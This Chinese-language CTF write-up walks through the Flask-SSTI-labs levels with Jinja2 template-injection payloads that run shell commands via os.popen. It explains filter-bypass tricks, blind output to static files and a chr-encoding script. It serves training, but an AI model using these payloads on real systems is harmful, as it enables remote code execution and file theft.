CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

2024-03-19 1256阅读

温馨提示:这篇文章已超过370天没有更新,请注意相关的内容是否还可用!

CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

文章目录

  • CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记
    • 前记
      • 获取键值或下标的方式
      • 获取属性的方式
      • Level 1 no waf
      • Level 2 bl['\{\{']
      • Level 3 no waf and blind
      • Level 4 bl['[', ']']
        • 获取键值或下标
        • Level 5 bl['\'', '"']
        • Level 6 bl['_']
        • Level 7 bl['.']
        • Level 8 bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
        • Level 9 bl['0-9']
        • Level 10 set config = None
        • Level 11 bl['\'', '"', '+', 'request', '.', '[', ']']
          • ban 了 `' " request'`思考如何返回字符串?
          • 如果我们读flag 目录路径有 空格+ 斜杠 如何处理?
          • Level 12 bl['_', '.', '0-9', '\\', '\'', '"', '[', ']']
            • 获取下划线(空格)的两种方式
            • Level 13 bl['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
            • 总结

              前记

              搭建环境

              建议用nssctf在线 https://www.nssctf.cn/problem/13 直接用

              以下题目我用简洁的payload 绕过{{lipsum.__globals__['os'].popen('ls').read()}}

              其中lipsum为 flask框架 内置函数 通用

              以下内容熟记 (因为绕过本质无非是换种形式表达相同的含义)

              获取键值或下标的方式

              dict['__builtins__']
              dict.__getitem__('__builtins__')
              dict.pop('__builtins__')
              dict.get('__builtins__')
              dict.setdefault('__builtins__')
              list[0]
              list.__getitem__(0)
              list.pop(0)
              

              获取属性的方式

              ().__class__
              ()["__class__"]
              ()|attr("__class__")
              ().__getattribute__("__class__")
              

              Level 1 no waf

              {{lipsum.__globals__['os'].popen('cat /app/flag').read()}}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 2 bl[‘{{’]

              {%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
              {{}}用于将表达式打印到模板输出
              {##}表示未包含在模板输出中的注释
              \##可以有和{%%}相同的效果
              

              {{}} 等价于 {%print%}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 3 no waf and blind

              盲注

              第一 判断出不出网

              {{lipsum.__globals__['os'].popen('ls').read()}}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              发现不出网

              尝试写静态文件 请先了解 flask 静态目录概念

              {{lipsum.__globals__['os'].popen('echo "test" >/app/static/1.txt').read()}}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              成功写入static静态目录

              读取flag

              {{lipsum.__globals__['os'].popen('echo `cat /app/flag` >/app/static/1.txt').read()}}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 4 bl[‘[’, ‘]’]

              {{lipsum.__globals__['os'].popen('ls').read()}}

              获取键值或下标

              dict['__builtins__']

              dict.__getitem__('__builtins__')

              dict.pop('__builtins__')

              dict.get('__builtins__')

              dict.setdefault('__builtins__')

              list[0]

              list.__getitem__(0)

              list.pop(0)

              替换一下

              {{lipsum.__globals__.get('os').popen('ls').read()}}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 5 bl[‘’', ‘"’]

              过滤引号

              {{lipsum.__globals__['os'].popen('ls').read()}}

              完全可以替换为 request.args.参数名(get方式)

              {{lipsum.__globals__[request.args.x1].popen(request.args.x2).read()}}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 6 bl[‘_’]

              {{lipsum.__globals__['os'].popen('ls').read()}}

              可以编码绕过 python解析器支持 hex ,unicode编码 (不建议用base64仅python2支持)

              {{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat /app/flag').read()}}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 7 bl[‘.’]

              {{lipsum.__globals__['os'].popen('ls').read()}}

              用[] 代替 . 其他方法 参考 获取属性的四种方法

              {{lipsum['__globals__']['os']['popen']('ls')['read']()}}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 8 bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]

              过滤了很多关键词

              {{lipsum.__globals__['os'].popen('ls').read()}}

              编码绕过和拼接不能同时使用 试错报错

              {{lipsum['__glob''als__']['os']['pop''en']('ls').read()}}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 9 bl[‘0-9’]

              {{lipsum.__globals__['os'].popen('ls').read()}}

              我们没用 数字

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 10 set config = None

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              通过 current_app取config

              {{url_for.__globals__['current_app'].config}}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 11 bl[‘’', ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]

              ban 了 ' " request'思考如何返回字符串?

              通过过滤器 | join 返回变量

              ban 了 . []如何取属性 ?

              通过 |attr()

              如何取键值 ?

              通过 __getitem__('key')

              然后用 {%set %}拼接

              {{lipsum.__globals__['os'].popen('ls').read()}}

              {{lipsum.__globals__['os'].popen('ls').read()}}
              a.构造__globals__
              {%set a=dict(__glo=a,bals__=a)|join%}
              b.构造os
              {%set b=dict(o=a,s=a)|join%}
              c.构造popen
              {%set c=dict(po=a,pen=a)|join%}
              cmd.构造ls
              {%set cmd=dict(l=a,s=a)|join%}
              d.构造read
              {%set d=dict(re=a.ad=a)|join%}
              e.构造__getitem__
              {%set e=dict(__ge=a,titem__=a)|join%} 
              f.构造__builtins__
              {%set f=dict(__buil=a,tins__=a)%}
              g.构造 chr 字符
              {%set ch=dict(ch=a,r=a)|join%}
              {{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
              

              就是

              {%set a=dict(__glo=a,bals__=a)|join%}
              {%set b=dict(o=a,s=a)|join%}
              {%set c=dict(po=a,pen=a)|join%}
              {%set cmd=dict(l=a,s=a)|join%}
              {%set d=dict(re=a,ad=a)|join%}
              {%set e=dict(__ge=a,titem__=a)|join%} 
              {{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
              

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              如果我们读flag 目录路径有 空格+ 斜杠 如何处理?

              取['__builtins__']['chr']函数 用ascii表 转换为字符

              原payload:{{lipsum.__globals__['__builtins__']['chr']}}

              附字符转chr脚本 记下 32 为空格 47为斜杠

              i= input("输入字符串:")
              flag=""
              for c in i:
                  c= ord(c)
                  b="chr(%d)" %(c)
                  flag +=b+'%2b'
              print(flag[0:-3:1])
              

              修改payload

              构造细节

              {{lipsum.__globals__['os'].popen('ls').read()}}
              a.构造__globals__
              {%set a=dict(__glo=a,bals__=a)|join%}
              b.构造os
              {%set b=dict(o=a,s=a)|join%}
              c.构造popen
              {%set c=dict(po=a,pen=a)|join%}
              cmd.构造ls
              {%set cmd=dict(l=a,s=a)|join%}
              d.构造read
              {%set d=dict(re=a,ad=a)|join%}
              e.构造__getitem__
              {%set e=dict(__ge=a,titem__=a)|join%} 
              f.构造__builtins__
              {%set f=dict(__buil=a,tins__=a)|join%}
              ch.构造 chr 字符
              {%set ch=dict(ch=a,r=a)|join%}
              chh.构造 chr 函数
              {%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
              
              code={%set a=dict(__glo=a,bals__=a)|join%}
              {%set b=dict(o=a,s=a)|join%}
              {%set c=dict(po=a,pen=a)|join%}
              {%set d=dict(re=a,ad=a)|join%}
              {%set e=dict(__ge=a,titem__=a)|join%} 
              {%set f=dict(__buil=a,tins__=a)|join%}
              {%set ch=dict(ch=a,r=a)|join%}
              {%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
              {%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl=a,ag=a)|join)|join%}
              {{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
              

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 12 bl[‘_’, ‘.’, ‘0-9’, ‘\’, ‘’', ‘"’, ‘[’, ‘]’]

              相比上一题

              过滤了下划线和数字

              获取下划线(空格)的两种方式

              1. 通过截取 环境字符

              2. 通过 chr函数 转化

              取下划线 测试

              {{()|select|string|list}}

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              返回字符 可以通过下标取到结果

              {%set p=dict(po=a,p=a)|join%}
              {{()|select|string|list|attr(p)(24)}}
              

              但是这里禁止了数字0-9

              可以通过过滤器 | length 或者| count取到

              数字24

              用python生成24个字符 python -c "print('a'*24)"

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              aaaaaaaaaaaaaaaaaaaaaaaa

              取下划线 _

              {%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
              {%set p=dict(po=a,p=a)|join%}
              {{()|select|string|list|attr(p)(numa)}}
              

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              延用上关的payload进行修改

              {%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
              {%set p=dict(po=a,p=a)|join%}
              {%set xhx=()|select|string|list|attr(p)(numa)%}
              {%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
              {%set b=dict(o=a,s=a)|join%}
              {%set c=dict(po=a,pen=a)|join%}
              {%set d=dict(re=a,ad=a)|join%}
              {%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
              {%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
              {%set ch=dict(ch=a,r=a)|join%}
              {%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
              {%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
              {%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
              {%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
              {{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
              

              注意一下 不能单独

              {%set a=dict(glob=a,als=a)|join%}
              {%set ac=(xhx,xhx,a,xhx,xhx)|join%} //这是失败的
              

              //还必须一起写(不然没法取完整下划线)

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              Level 13 bl[‘_’, ‘.’, ‘\’, ‘’', ‘"’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’]

              沿用上关payload 嘿嘿

              {%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
              {%set p=dict(po=a,p=a)|join%}
              {%set xhx=()|select|string|list|attr(p)(numa)%}
              {%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
              {%set b=dict(o=a,s=a)|join%}
              {%set c=dict(po=a,pen=a)|join%}
              {%set d=dict(re=a,ad=a)|join%}
              {%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
              {%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
              {%set ch=dict(ch=a,r=a)|join%}
              {%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
              {%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
              {%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
              {%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
              {{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
              

              CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

              总结

              我们想像一下假如出题人 比较细节 完全可以把flask内置函数lipsum,config,url_for都禁了

              我们要这么办?

              既然是ssti漏洞专门设计的CTF题 一定有解

              恰好如果ssti ban了() 那么将没有办法做

              我们完全可以从源字符取

              例如

              {{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

              取chr函数可以通过

              {{().__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['chr']}}

              相信自己,即使自己手动构造比较复杂,一步一步来,是可以完成的

VPS购买请点击我

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们,邮箱:ciyunidc@ciyunshuju.com。本站只作为美观性配图使用,无任何非法侵犯第三方意图,一切解释权归图片著作权方,本站不承担任何责任。如有恶意碰瓷者,必当奉陪到底严惩不贷!

目录[+]